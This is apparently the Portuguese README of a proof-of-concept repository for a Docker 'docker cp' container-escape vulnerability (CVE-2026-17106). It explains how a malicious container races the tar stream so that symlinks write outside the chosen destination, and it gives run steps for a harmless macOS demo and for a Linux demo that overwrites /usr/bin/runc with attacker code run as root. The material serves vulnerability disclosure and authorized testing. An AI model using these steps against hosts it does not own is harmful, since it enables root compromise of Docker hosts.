
Repositório de PoC para o post do blog CopyEscape: Assumindo o Controle de Hosts Docker com docker cp
docker cp (CVE-2026-17106)Este é o repositório de prova de conceito para o post do blog CopyEscape: Assumindo
o controle de hosts Docker com docker cp — CVE-2026-17106.
O CopyEscape permite que um container malicioso em execução corra contra o produtor de arquivos do Docker
e crie um fluxo tar inconsistente. A CLI vulnerável do Docker pode
então seguir um symlink plantado durante a extração e gravar fora do
destino local selecionado pelo usuário que executa docker cp.
O repositório contém duas demonstrações:
macos/ contém uma demonstração não destrutiva do Docker Desktop
que cria ~/pwnd no host macOS.linux/ contém a demonstração Linux original de alto impacto que
sobrescreve /usr/bin/runc e cria /imperva_red_team quando o runtime
substituído é executado.[!WARNING] Execute estes PoCs apenas em sistemas que você possui ou nos quais está explicitamente autorizado a testar. O PoC Linux substitui intencionalmente
/usr/bin/runc; use uma VM descartável e faça um backup verificado antes de acioná-lo.
/usr/bin/runc.Os PoCs foram desenvolvidos e testados contra Docker Engine/CLI 29.6.1 e Docker Desktop 4.81.0. Versões corrigidas devem rejeitar o arquivo malicioso ou concluir a cópia sem gravar fora do destino selecionado.
~/pwndEsta demonstração tem como alvo o diretório home do usuário que executa a CLI
do Docker. Ela se recusa a continuar se ~/pwnd ou o destino local file.txt
já existir.
Execute:
cd macos
./demo-macos.sh
O runner constrói a imagem, inicia o container preparado, confirma que
/watched/file.txt parece ser um arquivo normal dentro dele e aciona:
docker cp <demo-container>:/watched/file.txt ./file.txt
Em uma versão vulnerável do Docker Desktop, a cópia cria:
~/pwnd
com o seguinte conteúdo:
COPYESCAPE_MACOS_DEMO
Limpeza:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc[!CAUTION] Esta demonstração torna temporariamente inutilizável o runtime do host Docker e executa uma substituição controlada pelo atacante como root. Use uma VM descartável. Depois que
docker cpretornar, restaureruncantes de executar outro comando Docker.
Abra um shell como root e entre no diretório do PoC para Linux:
sudo -s
cd linux
Crie e verifique um backup antes de iniciar o teste:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
Construa a imagem:
docker build -t copyescape-linux .
Inicie o container preparado no primeiro terminal:
docker run --name copyescape-linux copyescape-linux
Em um segundo terminal como root, confirme que o caminho preparado parece um arquivo normal para um processo dentro do container:
docker exec copyescape-linux cat /watched/file.txt
Saída esperada:
top-level file
Dispare a vulnerabilidade:
docker cp copyescape-linux:/watched/file.txt ./file.txt
Em uma versão vulnerável do Docker, /usr/bin/runc agora contém o script shell
do PoC. A execução do runtime substituído cria o marcador pertencente ao root:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
Restaure o runtime original imediatamente, antes de emitir outro comando Docker:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
Depois que runc for restaurado e verificado, remova os artefatos de teste
restantes:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
Ambos os PoCs expõem /watched/file.txt como um arquivo normal para processos em execução no
container enquanto o daemon Docker vê um diretório subjacente. Durante
a varredura do sistema de arquivos do Docker, o monitor substitui um diretório por um symlink
absoluto preparado. O fluxo tar resultante contém o symlink seguido por uma
entrada filha abaixo dele. Uma CLI Docker vulnerável cria o symlink e, em seguida,
extrai o filho através dele para o sistema de arquivos do cliente.
A gravação final carrega as permissões do processo que executa docker cp.